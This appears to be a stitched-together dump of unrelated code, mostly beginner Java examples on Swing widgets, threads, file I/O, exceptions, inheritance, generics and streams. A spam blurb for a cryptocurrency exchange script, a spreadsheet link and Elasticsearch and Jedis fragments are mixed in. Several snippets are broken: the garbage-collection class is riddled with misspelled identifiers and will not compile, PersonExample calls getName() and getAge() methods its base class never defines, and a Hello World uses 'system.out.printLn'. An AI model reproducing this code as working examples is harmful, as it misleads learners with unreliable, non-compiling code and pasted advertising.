		c4 = new JRadioButton("Beverage");
		c4.addActionListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		ButtonGroup bg = new ButtonGroup();
		bg.add(c1); bg.add(c2); bg.add(c3); bg.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void actionPerformed(ActionEvent ae)
	{   label.setText(ae.getActionCommand());
	}

	public static void main(String[] args)
	{   new RadioButtonDemo();
	}
}
CheckBoxDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class CheckBoxDemo implements ItemListener
{
private JFrame frame;
	private JCheckBox c1, c2, c3, c4;
	private JLabel label;
	private String message =" ";

	public CheckBoxDemo()
	{
		frame = new JFrame("A Simple Swing App");

		//frame.setSize(600, 400);
		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		c1 = new JCheckBox("Pizza");
		c1.addItemListener(this);
		c1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c1);

		c2 = new JCheckBox("Burger");
		c2.addItemListener(this);
		c2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c2);

		c3 = new JCheckBox("Rolls");
		c3.addItemListener(this);
		c3.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c3);

		c4 = new JCheckBox("Beverage");
		c4.addItemListener(this);
		c4.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(c4);

		label = new JLabel("I show the selected items");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setForeground(Color.RED);
		frame.add(label);


		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public void itemStateChanged(ItemEvent ie)
	{
		if(c1.isSelected())
			message += c1.getText() +" ";
		if(c2.isSelected())
			message += c2.getText() +" ";
		if(c3.isSelected())
			message += c3.getText() +" ";
		if(c4.isSelected())
			message += c4.getText() +" ";
		label.setText(message);

		message = " ";
	}

	public static void main(String[] args)
	{
		new CheckBoxDemo();
	}
}
ButtonDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class ButtonDemo  
{   private JFrame frame;
    private JLabel label;
	private JButton b1, b2;

	public ButtonDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		label = new JLabel("I show the button text");
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(label);

		b1 = new JButton("The First Button");
		b1.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b1);
		b1.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b1.getText()+" is pressed!"); 	}
		});

		b2 = new JButton("The Second Button");
		b2.setFont(new Font("Verdana", Font.BOLD, 18));
		frame.add(b2);
		b2.addActionListener(new ActionListener(){
			public void actionPerformed(ActionEvent ae)
			{   label.setText(b2.getText()+" is pressed!"); 	}
		});

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new ButtonDemo();
	}
}
LabelDemo.java

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

public class LabelDemo
{   private JFrame frame;
    private JLabel label;

	public LabelDemo()
	{
		frame = new JFrame("A Simple Swing App");

		Toolkit tk = frame.getToolkit();
		Dimension dim = tk.getScreenSize();
		int width = (int)dim.getWidth();
		int height = (int)dim.getHeight();
		frame.setSize(width, height);

		frame.setLayout(new FlowLayout());

		ImageIcon ic = new ImageIcon("Animated_butterfly.gif");

		label = new JLabel("A Butterfly", ic, JLabel.CENTER);
		label.setFont(new Font("Verdana", Font.BOLD, 18));
		label.setBackground(Color.yellow);
		frame.add(label);

		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	public static void main(String[] args)
	{   new LabelDemo();
	}
}
import java.util.LinkedList;

class SharedResource {
    private LinkedList buffer = new LinkedList<>();
    private int capacity = 2;

    public void produce() throws InterruptedException {
        synchronized (this) {
            while (buffer.size() == capacity) {
                wait();
            }

            int item = (int) (Math.random() * 100);
            System.out.println("Produced: " + item);
            buffer.add(item);

            notify();
        }
    }

    public void consume() throws InterruptedException {
        synchronized (this) {
            while (buffer.isEmpty()) {
                wait();
            }

            int item = buffer.removeFirst();
            System.out.println("Consumed: " + item);

            notify();
        }
    }
}

class Producer extends Thread {
    private SharedResource sharedResource;

    public Producer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.produce();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

class Consumer extends Thread {
    private SharedResource sharedResource;

    public Consumer(SharedResource sharedResource) {
        this.sharedResource = sharedResource;
    }

    @Override
    public void run() {
        try {
            while (true) {
                sharedResource.consume();
                Thread.sleep(1000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

public class ProducerConsumerExample {
    public static void main(String[] args) {
        SharedResource sharedResource = new SharedResource();

        Producer producer = new Producer(sharedResource);
        Consumer consumer = new Consumer(sharedResource);

        producer.start();
        consumer.start();
    }
}
class MyThread extends Thread {
    public void run() {
        System.out.println("run method");
        System.out.println("run method priority: " + Thread.currentThread().getPriority());
        Thread.currentThread().setPriority(4);
        System.out.println("run method priority after setting: " + Thread.currentThread().getPriority());
    }

    public static void main(String[] args) {
        System.out.println("main method");
        System.out.println("main method priority before setting: " + Thread.currentThread().getPriority());

        Thread.currentThread().setPriority(9);

        System.out.println("main method priority after setting: " + Thread.currentThread().getPriority());
    }
}
class MyThread implements Runnable {

    public void run() {
        System.out.println("Hello");
        System.out.println("DS");
    }

    public static void main(String[] args) {
        MyThread obj = new MyThread();
        Thread t = new Thread(obj);
        t.start();
    }
}
public class AssertionExample {
    public static void main(String[] args) {
        int age = 26;

        // simple assertion to check if age is greater than or equal to 18
        assert age >= 18 : "Age must be 18 or older";

        // Rest of the program
        System.out.println("Program continues after the assertion check");

        // More code...
    }
}
public class SeasonExample {
    public enum Season {
        WINTER, SPRING, SUMMER, FALL;
    }

    public static void main(String[] args) {
        int x = 26;

        for (Season s : Season.values()) {
            System.out.println(s);
        }

        assert x == 26 : "Assertion failed"; // Assert that x is 26

        System.out.println(x);
    }
}
import java.util.StringTokenizer;
import java.io.StringReader;
import java.io.StringWriter;

public class StringExample {
    public static void main(String[] args) {
        try {
            StringTokenizer st = new StringTokenizer("My name is Raj");

            while (st.hasMoreTokens()) {
                System.out.println(st.nextToken());
            }

            String s = "Hello World";

            StringReader reader = new StringReader(s);
            int k = 0;

            while ((k = reader.read()) != -1) {
                System.out.print((char) k + ", ");
            }

            System.out.println("\nIn Data is the StringWriter: " + s);

            StringWriter output = new StringWriter();
            output.write(s);

            System.out.println("In Data is the StringWriter: " + output.toString());

            output.close();
        } catch (Exception e) {
            System.out.println("Exception: " + e.getMessage());
        }
    }
}
import java.io.*;

class Test {
    public static void main(String args[]) {
        String path = "sample.txt";
        try {
            BufferedReader br = new BufferedReader(new FileReader(path));
            int charCount = 0;
            int lineCount = 0;
            int wordCount = 0;
            String line;

            while ((line = br.readLine()) != null) {
                charCount += line.length();
                lineCount++;
                String[] words = line.split("\\s+");
                wordCount += words.length;
            }

            br.close();

            System.out.println("Number of characters: " + charCount);
            System.out.println("Number of words: " + wordCount);
            System.out.println("Number of lines: " + lineCount);
        } catch (IOException e) {
            System.out.println(e);
        }
    }
}
import java.io.*;

public class FileCopyExample {

    public static void main(String[] args) {
        try {
            FileReader fr1 = new FileReader("source.txt");
            FileWriter fw2 = new FileWriter("destination.txt");

            int i;
            while ((i = fr1.read()) != -1) {
                fw2.write((char) i);
            }

            System.out.println("File copied");

            fr1.close();
            fw2.close();
        } catch (IOException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }
}
import java.io.*;

public class FileExample {
    static FileInputStream fis;

    public static void main(String[] args) {
        try {
            fis = new FileInputStream("example.txt");

            int data;
            while ((data = fis.read()) != -1) {
                System.out.print((char) data);
            }

            fis.close();
        } catch (IOException io) {
            System.out.println("Caught IOException: " + io.getMessage());
        }
    }
}
// Custom exception class
class NegativeNumberException extends Exception {
    public NegativeNumberException(String message) {
        super(message);
    }
}

// Class using the custom exception
public class CustomExceptionExample {
    public static void main(String[] args) {
        try {
            int result = calculateSquare(5);
            System.out.println("Square: " + result);

            result = calculateSquare(-3); // This will throw NegativeNumberException
            System.out.println("Square: " + result); // This line won't be executed
        } catch (NegativeNumberException e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    // Method that may throw the custom exception
    private static int calculateSquare(int number) throws NegativeNumberException {
        if (number < 0) {
            // Throw the custom exception if the number is negative
            throw new NegativeNumberException("Negative numbers are not allowed.");
        }
        return number * number;
    }
}
public class ExceptionExample {
    public static void main(String[] args) {
        int n = 26;
        try {
            int m = n / 0;
        } catch (ArithmeticException e) {
            System.out.println("Exception caught: " + e);
        } finally {
            System.out.println("Any number cannot be divided by zero");
        }
    }
}
public class StringBufferStringBuilderExample{
public static void main(String args[]){
StringBuffer stringBuffer=new StringBuffer("hello");
stringBuffer.append(" ").append("world");
System.out.println("StringBuffer result:" + stringBuffer);
StringBuilder stringBuilder=new StringBuilder();
stringBuilder.append("is").append("awesome");
System.out.println("StringBuilder result:" + stringBuilder);
}
}
public class StringExample {
    public static void main(String[] args) {
        String s = "Hello World!";
        System.out.println("Original string: " + s);
        System.out.println("Length: " + s.length());
        System.out.println("Uppercase: " + s.toUpperCase());
        System.out.println("Lowercase: " + s.toLowerCase());
        System.out.println("Substring from index 7: " + s.substring(7));
        System.out.println("Replace 'o' with 'x': " + s.replace('o', 'x'));
        System.out.println("Contains 'world': " + s.contains("world"));
        System.out.println("Starts with 'Hello': " + s.startsWith("Hello"));
        System.out.println("Index of 'o': " + s.indexOf('o'));
        System.out.println("Last index of 'o': " + s.lastIndexOf('o'));
        System.out.println("Ends with 'ld!': " + s.endsWith("ld!"));
        System.out.println("Character at index 4: " + s.charAt(4));
        System.out.println("Trimmed: " + s.trim());
    }
}
// Interface
interface Printable {
    void print();
}

// Class implementing the interface
class Printer implements Printable {
    @Override
    public void print() {
        System.out.println("Printing...");
    }
}

public class InterfaceExample {
    public static void main(String[] args) {
        // Creating an instance of the class implementing the interface
        Printable printer = new Printer();

        // Using the interface method
        printer.print();
    }
}
// Abstract class: Person
abstract class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public abstract void displayDetails();

    public void greet() {
        System.out.println("Hello, I am " + name + ".");
    }
}

// Subclass: Student
class Student extends Person {
    private int studentId;

    public Student(String name, int age, int studentId) {
        super(name, age);
        this.studentId = studentId;
    }

    @Override
    public void displayDetails() {
        System.out.println("Student - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Student ID: " + studentId);
    }

    public void study() {
        System.out.println("Student is studying.");
    }
}

// Subclass: Faculty
class Faculty extends Person {
    private String department;

    public Faculty(String name, int age, String department) {
        super(name, age);
        this.department = department;
    }

    @Override
    public void displayDetails() {
        System.out.println("Faculty - Name: " + super.getName() + ", Age: " + super.getAge() +
                ", Department: " + department);
    }

    public void teach() {
        System.out.println("Faculty is teaching.");
    }
}

public class PersonExample {
    public static void main(String[] args) {
        Student student = new Student("John", 20, 123);
        Faculty faculty = new Faculty("Dr. Smith", 35, "Computer Science");

        student.displayDetails();
        student.greet();
        student.study();

        System.out.println();

        faculty.displayDetails();
        faculty.greet();
        faculty.teach();
    }
}
// Account class (Base class)
class Account {
 private int accountNumber;
 private double balance;
 public Account(int accountNumber) {
 this.accountNumber = accountNumber;
 this.balance = 0.0;
 }
 public int getAccountNumber() {
 return accountNumber;
 }
 public double getBalance() {
 return balance;
 }
 public void deposit(double amount) {
 balance += amount;
 System.out.println("Deposited: $" + amount);
 }
 public void withdraw(double amount) {
 if (amount <= balance) {
 balance -= amount;
 System.out.println("Withdrawn: $" + amount);
 } else {
 System.out.println("Insufficient balance");
 }
 }
}
// Subclasses of Account
class SavingsAccount extends Account {
 // Additional features specific to savings account
 public SavingsAccount(int accountNumber) {
 super(accountNumber);
 }
}
class CheckingAccount extends Account {
 // Additional features specific to checking account
 public CheckingAccount(int accountNumber) {
 super(accountNumber);
 }
}
// Customer class
class Customer {
 private String name;
 private Account account;
 public Customer(String name, Account account) {
 this.name = name;
 this.account = account;
 }
 public void deposit(double amount) {
 account.deposit(amount);
 }
 public void withdraw(double amount) {
 account.withdraw(amount);
 }
 public double checkBalance() {
 return account.getBalance();
 }
}
// Employee class
class Employee {
 private String name;
 public Employee(String name) {
 this.name = name;
 }
 public void processTransaction(Customer customer, double amount,
String type) {
 if (type.equalsIgnoreCase("Deposit")) {
 customer.deposit(amount);
 } else if (type.equalsIgnoreCase("Withdraw")) {
 customer.withdraw(amount);
 } else {
 System.out.println("Invalid transaction type");
 }
 }
}
// Main class for testing
public class BankingApplication {
 public static void main(String[] args) {
 // Create accounts for customers
 SavingsAccount savingsAccount = new SavingsAccount(1001);
 CheckingAccount checkingAccount = new CheckingAccount(2001);
 // Create customers and link accounts
 Customer customer1 = new Customer("Alice", savingsAccount);
 Customer customer2 = new Customer("Bob", checkingAccount);
 // Create bank employees
 Employee employee1 = new Employee("Eve");
 // Employee processing transactions for customers
 employee1.processTransaction(customer1, 1000, "Deposit");
 employee1.processTransaction(customer2, 500, "Withdraw");
 // Checking customer balances after transactions
 System.out.println("Customer 1 Balance: $" +
customer1.checkBalance());
 System.out.println("Customer 2 Balance: $" +
customer2.checkBalance());
 }
}
class Employee {
    private String name;
    private double baseSalary;

    public Employee(String name, double baseSalary) {
        this.name = name;
        this.baseSalary = baseSalary;
    }

    public String getName() {
        return name;
    }

    // Base implementation of computeSalary method
    public double computeSalary() {
        return baseSalary;
    }
}
class Manager extends Employee {
    private double bonus;

    public Manager(String name, double baseSalary, double bonus) {
        super(name, baseSalary);
        this.bonus = bonus;
    }

    // Override computeSalary method to include bonus
    @Override
    public double computeSalary() {
        // Calling the base class method using super
        double baseSalary = super.computeSalary();
        return baseSalary + bonus;
    }
}
public class PolymorphicInvocationExample {
    public static void main(String[] args) {
        // Polymorphic invocation using base class reference
        Employee emp1 = new Employee("John Doe", 50000.0);
        System.out.println("Employee Salary: $" + emp1.computeSalary());

        // Polymorphic invocation using subclass reference
        Employee emp2 = new Manager("Jane Smith", 60000.0, 10000.0);
        System.out.println("Manager Salary: $" + emp2.computeSalary());
    }
}
// Employee class (base class)
class Employee {
    private String name;
    private int employeeId;

    public Employee(String name, int employeeId) {
        this.name = name;
        this.employeeId = employeeId;
    }

    public String getName() {
        return name;
    }

    public int getEmployeeId() {
        return employeeId;
    }

    public void displayDetails() {
        System.out.println("Employee ID: " + employeeId);
        System.out.println("Name: " + name);
    }
}

// Faculty class (inherits from Employee)
class Faculty extends Employee {
    private String department;
    private String designation;

    public Faculty(String name, int employeeId, String department, String designation) {
        super(name, employeeId);
        this.department = department;
        this.designation = designation;
    }

    public String getDepartment() {
        return department;
    }

    public String getDesignation() {
        return designation;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Department: " + department);
        System.out.println("Designation: " + designation);
    }
}

// Staff class (inherits from Employee)
class Staff extends Employee {
    private String role;

    public Staff(String name, int employeeId, String role) {
        super(name, employeeId);
        this.role = role;
    }

    public String getRole() {
        return role;
    }

    @Override
    public void displayDetails() {
        super.displayDetails();
        System.out.println("Role: " + role);
    }
}

// UniversityProgram class (main program)
public class UniversityProgram {
    public static void main(String[] args) {
        // Creating instances of Faculty and Staff
        Faculty facultyMember = new Faculty("John Doe", 101, "Computer Science", "Professor");
        Staff staffMember = new Staff("Jane Smith", 201, "Administrative Assistant");

        // Displaying details of Faculty and Staff
        System.out.println("Faculty Details:");
        facultyMember.displayDetails();
        System.out.println();

        System.out.println("Staff Details:");
        staffMember.displayDetails();
    }
}
public classgc
{
public static void main(String args[])
{
System.gc();
System.out.println("garbage collection is required using system.gc()");
runtime.getruntime().gc();
System.out.println("garbage collection is required using system.gc()");
Sytsem.out.println("free menory:"+runtime.getruntime() freememory()+"bytes");
System.out.println("total memory:"+runtime.getruntime().totalmemory()+"bytes");
System.out.println("available processors"+runtime.getruntime()available processors());
runtime.getruntime().exit(0);
System.out.println("this linewill not be executed");
}
}
package com.example.custom;
import java.util.ArrayList; // Import ArrayList from java.util package
class CustomClass {
void display() {
System.out.println("Custom class in the custom package.");
}
}
public class Main {
public static void main(String args[]) {
ArrayList list = new ArrayList<>(); // Fix the typo in ArrayList declaration
list.add("hello");
list.add("world");
System.out.println("ArrayList from java.util package: " + list);
CustomClass customObj = new CustomClass();
customObj.display();
AccessModifiersDemo demo = new AccessModifiersDemo();
demo.publicMethod();
demo.defaultMethod();
}
}
class AccessModifiersDemo {
public void publicMethod() {
System.out.println("Public method can be accessed from anywhere.");
}
void defaultMethod() {
System.out.println("Default method can be accessed within the same package.");
}
}
public class ArrayOperations {
    public static void main(String[] args) {
        // Initializing an array
        int[] numbers = { 5, 12, 8, 3, 15 };

        // Accessing elements
        System.out.println("Element at index 2: " + numbers[2]);

        // Finding the length of the array
        System.out.println("Length of the array: " + numbers.length);

        // Modifying an element
        numbers[1] = 20;

        // Printing the array
        System.out.print("Modified array: ");
        for (int i = 0; i < numbers.length; i++) {
            System.out.print(numbers[i] + " ");
        }
        System.out.println();

        // Finding the maximum element
        int maxElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] > maxElement) {
                maxElement = numbers[i];
            }
        }
        System.out.println("Maximum element: " + maxElement);

        // Finding the minimum element
        int minElement = numbers[0];
        for (int i = 1; i < numbers.length; i++) {
            if (numbers[i] < minElement) {
                minElement = numbers[i];
            }
        }
        System.out.println("Minimum element: " + minElement);

        // Iterating through the array to calculate the sum
        int sum = 0;
        for (int num : numbers) {
            sum += num;
        }
        System.out.println("Sum of elements: " + sum);
    }
}
public class ArraySumAverage {
    public static void main(String[] args) {
        // Predefined array of integers
        int[] array = { 10, 20, 30, 40, 50 };

        // Calculate sum and average
        int sum = 0;
        for (int i = 0; i < array.length; i++) {
            sum += array[i];
        }
        double average = (double) sum / array.length;

        // Output: Sum and Average
        System.out.println("Sum of the elements: " + sum);
        System.out.println("Average of the elements: " + average);
    }
}
class Explicit
{
    public static void main(String[] args)
    {
        long l=99;
        int i=(int)l;
        System.out.println("long value ="+l);
        System.out.println("int value ="+i);
    }
}
##Constructor overloading##

class T
{
    T()
    {
        System.out.println("0-args");
    }
    T(int i)
    {
        System.out.println("1-args");
    }
    T(int i,int j)
    {
        System.out.println("2-args");
    }
    public static void main(String[] args)
    {
        System.out.println("constructor overloading");
        T t1=new T();
        T t2=new T(10);
        T t3=new T(20,30);
    }
}





##Method overloading##

class MO {
    static int add(int a, int b) {
        return a + b;
    }

    static int add(int a, int b, int c) {
        return a + b + c;
    }

    public static void main(String[] args) {
        System.out.println(add(11, 11));
    }
}
class Comdargs{
public static void main(String[] args){
System.out.println(args[0]+" "+args[1]);
System.out.println(args[0]+args[1]);
}
}


###IN THE COMMAND PROMPT AFTER JAVA COMDARGS GIVE YOUR COMMAND LINE ARRGUMENTS###
import java.util.Scanner;

public class GradeCheckerSwitch {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeSwitch(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeSwitch(int score) {
        int range = score / 10;

        switch (range) {
            case 10:
            case 9:
                return 'A';
            case 8:
                return 'B';
            case 7:
                return 'C';
            case 6:
                return 'D';
            default:
                return 'F';
        }
    }
}



USING IF -ELSE

import java.util.Scanner;

public class GradeCheckerIfElse {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.print("Enter the student's score: ");
        int score = scanner.nextInt();

        char grade = getGradeIfElse(score);

        System.out.println("Grade: " + grade);
    }

    public static char getGradeIfElse(int score) {
        if (score >= 90 && score <= 100) {
            return 'A';
        } else if (score >= 80 && score < 90) {
            return 'B';
        } else if (score >= 70 && score < 80) {
            return 'C';
        } else if (score >= 60 && score < 70) {
            return 'D';
        } else if (score >= 0 && score < 60) {
            return 'F';
        } else {
            // Handle invalid score (outside the range 0-100)
            System.out.println("Invalid score. Please enter a score between 0 and 100.");
            return '\0'; // '\0' is used to represent an undefined character
        }
    }
}
public class OperatorDemo {
    public static void main(String[] args) {
        // Comparison operators
        int a = 5, b = 10;

        System.out.println("Comparison Operators:");
        System.out.println("a == b: " + (a == b));
        System.out.println("a != b: " + (a != b));
        System.out.println("a < b: " + (a < b));
        System.out.println("a > b: " + (a > b));
        System.out.println("a <= b: " + (a <= b));
        System.out.println("a >= b: " + (a >= b));

        // Arithmetic operators
        int x = 15, y = 4;

        System.out.println("\nArithmetic Operators:");
        System.out.println("x + y: " + (x + y));
        System.out.println("x - y: " + (x - y));
        System.out.println("x * y: " + (x * y));
        System.out.println("x / y: " + (x / y));
        System.out.println("x % y: " + (x % y));

        // Bitwise operators
        int num1 = 5, num2 = 3;

        System.out.println("\nBitwise Operators:");
        System.out.println("num1 & num2: " + (num1 & num2)); // Bitwise AND
        System.out.println("num1 | num2: " + (num1 | num2)); // Bitwise OR
        System.out.println("num1 ^ num2: " + (num1 ^ num2)); // Bitwise XOR
        System.out.println("~num1: " + (~num1));             // Bitwise NOT
        System.out.println("num1 << 1: " + (num1 << 1));     // Left shift
        System.out.println("num1 >> 1: " + (num1 >> 1));     // Right shift
    }
}
          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     
          class Demo{
               public static void main(String[] args){
                    system.out.printLn("Hello World");
               }
          }
     
https://docs.google.com/spreadsheets/d/1sA8p5Qr5c_wzZ7_PMM7bxn2otFEsIkf8xO6FlbbsZms/edit?gid=1395393155#gid=1395393155
The Alphacodez Cryptocurrency Exchange Script is a robust solution for launching secure and efficient trading platforms, featuring user management, a high-performance trading engine, and wallet integration. It offers advanced security measures and customization options. Ongoing support and maintenance ensure smooth operation.
  @Bean(destroyMethod = "close")
  public RestHighLevelClient init() {
    HttpHost[] httpHost;
    httpHost = new HttpHost[model.getHosts().size()];
    HttpHost[] finalHttpHost = httpHost;
    final int[] i = {0};
    model.getHosts().forEach(hostPort -> {
      finalHttpHost[i[0]] = new HttpHost(String.valueOf(hostPort.getHost()), hostPort.getPort(), "http");
      i[0] = i[0] + 1;
    });

    RestClientBuilder builder = RestClient.builder(finalHttpHost);

    if (model.getUsername() != null && model.getPassword() != null) {
      final CredentialsProvider credentialsProvider = new BasicCredentialsProvider();
      credentialsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(model.getUsername(), model.getPassword()));
      builder.setHttpClientConfigCallback(httpClientBuilder -> httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider));
    }

    // Cấu hình timeout
    builder.setRequestConfigCallback(requestConfigBuilder -> requestConfigBuilder
            .setSocketTimeout(model.getSocketTimeout())
            .setConnectTimeout(model.getConnectTimeout()));

    return new RestHighLevelClient(builder);
  }
public class ListToArrayExample{  
public static void main(String args[]){  
 List<String> fruitList = new ArrayList<>();    
 fruitList.add("Mango");    
 fruitList.add("Banana");    
 fruitList.add("Apple");    
 fruitList.add("Strawberry");    
 //Converting ArrayList to Array  
 String[] array = fruitList.toArray(new String[fruitList.size()]);    
 System.out.println("Printing Array: "+Arrays.toString(array));  
 System.out.println("Printing List: "+fruitList);  
}  
}  
import java.util.*;  
public class ArrayToListExample{  
public static void main(String args[]){  
//Creating Array  
String[] array={"Java","Python","PHP","C++"};  
System.out.println("Printing Array: "+Arrays.toString(array));  
//Converting Array to List  
List<String> list=new ArrayList<String>();  
for(String lang:array){  
list.add(lang);  
}  
System.out.println("Printing List: "+list);  
  
}  
}  
JedisCluster only supports SCAN commands with MATCH patterns containing hash-tags ( curly-brackets enclosed strings )
import classes.*;

public class Main {
    public static void main(String[] args) {
        Mygeneric mygen = new Mygeneric<String>("Dodi");
        generate(mygen);

        Mygeneric<Object> gen = new Mygeneric<Object>("Jamal");
        process(gen);
        
    }

    public static void doodle(Mygeneric<String> mygen) {
        System.out.println(mygen.getData());
    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari 
     * kelas Mygeneric yang tipe genericnya adalah turunan dari Object
     */
    public static void generate(Mygeneric<? extends Object> data) {
        System.out.println(data.getData());

    }

    /*
     * Saya akan menerima parameter apapun hasil instance dari
     * kelas Mygeneric yang bertipe data String ATAU super class dari
     * String
     */
    public static void process(Mygeneric<? super String> data) {
        String value = (String) data.getData();
        System.out.println(value);
        data.setData("Umar");
        System.out.println(value);
    }
}
public class GenericApp {

    public static void main(String[] args) {
        
        MyGeneric<String> single = new MyGeneric<>("Ichwan");
        generate(single);

    }

    public static void generate(MyGeneric<? extends Object> data){
        System.out.println(data.getData());
    }
}
ArrayList<Number> numbers = new ArrayList<Number>();
// Ini akan menghasilkan kesalahan kompilasi
ArrayList<Integer> integers = numbers;
public class GFG {
 
    public static void main(String[] args)
    {
 
        Integer[] a = { 100, 22, 58, 41, 6, 50 };
 
        Character[] c = { 'v', 'g', 'a', 'c', 'x', 'd', 't' };
 
        String[] s = { "Virat", "Rohit", "Abhinay", "Chandu","Sam", "Bharat", "Kalam" };
 
        System.out.print("Sorted Integer array :  ");
        sort_generics(a);
 
        System.out.print("Sorted Character array :  ");
        sort_generics(c);
 
        System.out.print("Sorted String array :  ");
        sort_generics(s);
       
    }
 
    public static <T extends Comparable<T> > void sort_generics(T[] a)
    {
       
         //As we are comparing the Non-primitive data types 
          //we need to use Comparable class
       
        //Bubble Sort logic
        for (int i = 0; i < a.length - 1; i++) {
 
            for (int j = 0; j < a.length - i - 1; j++) {
 
                if (a[j].compareTo(a[j + 1]) > 0) {
 
                    swap(j, j + 1, a);
                }
            }
        }
 
        // Printing the elements after sorted
 
        for (T i : a) 
        {
            System.out.print(i + ", ");
        }
        System.out.println();
       
    }
 
    public static <T> void swap(int i, int j, T[] a)
    {
        T t = a[i];
        a[i] = a[j];
        a[j] = t;
    }
   
}
class Test<T> {
    // An object of type T is declared
    T obj;
    Test(T obj) { this.obj = obj; } // constructor
    public T getObject() { return this.obj; }
}
 
// Driver class to test above
class Main {
    public static void main(String[] args)
    {
        // instance of Integer type
        Test<Integer> iObj = new Test<Integer>(15);
        System.out.println(iObj.getObject());
 
        // instance of String type
        Test<String> sObj
            = new Test<String>("GeeksForGeeks");
        System.out.println(sObj.getObject());
    }
}
import java.util.*;

import java.util.stream.*;

public class CollectingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(7);

        al.add(7);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Integer> odds = al.stream().filter(n -> n % 2 == 1);

        System.out.print("Odd Numbers: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        List<Integer> oddList = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toList());

        System.out.println("The list: " + oddList);

        Set<Integer> oddSet = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toSet());

        System.out.println("The set: " + oddSet);

    }

}
import java.util.*;

import java.util.stream.*;

public class MappingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(16);

        al.add(25);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Double> sqr = al.stream().map(n -> Math.sqrt(n));

        System.out.print("Square roots: ");

        sqr.forEach(n -> System.out.print("[" + n + "] "));

        System.out.println();

    }

}
import java.util.*;

import java.util.stream.*;

public class ReductionDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(10);

        al.add(20);

        al.add(30);

        al.add(40);

        al.add(50);

        System.out.println("Contents of the collection: " + al);

        System.out.println();

        Optional<Integer> obj1 = al.stream().reduce((x, y) -> (x + y));

        if(obj1.isPresent())

            System.out.println("Total is: " + obj1.get());

        System.out.println();

        long product = al.stream().reduce(1, (x, y) -> (x * y));

        System.out.println("Product is: " + product);

    }

}
import java.util.*;

import java.util.stream.*;

public class StreamDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(7);

        al.add(18);

        al.add(10);

        al.add(24);

        al.add(17);

        al.add(5);

        System.out.println("Actual List: " + al);

        Stream<Integer> stm = al.stream();  // get a stream; factory method

        Optional<Integer> least = stm.min(Integer::compare);   // Integer class implements Comparator [compare(obj1, obj2) static method]

        if(least.isPresent())

            System.out.println("Minimum integer: " + least.get());

        // min is a terminal operation, get the stream again

        /* 

        Optional<T> is a generic class packaged in java.util package.

        An Optional class instance can either contains a value of type T or is empty.

        Use method isPresent() to check if a value is present. Obtain the value by calling get() 

        */

        stm = al.stream();

        System.out.println("Available values: " + stm.count());

        stm = al.stream();

        Optional<Integer> higher = stm.max(Integer::compare);

        if(higher.isPresent())

            System.out.println("Maximum integer: " + higher.get());

        // max is a terminal operation, get stream again

        Stream<Integer> sortedStm = al.stream().sorted();    // sorted() is intermediate operation

        // here, we obtain a sorted stream

        System.out.print("Sorted stream: ");

        sortedStm.forEach(n -> System.out.print(n + " "));   // lambda expression

        System.out.println();

        /* 

        Consumer<T> is a generic functional interface declared in java.util.function

        Its abstract method is: void accept(T obj)

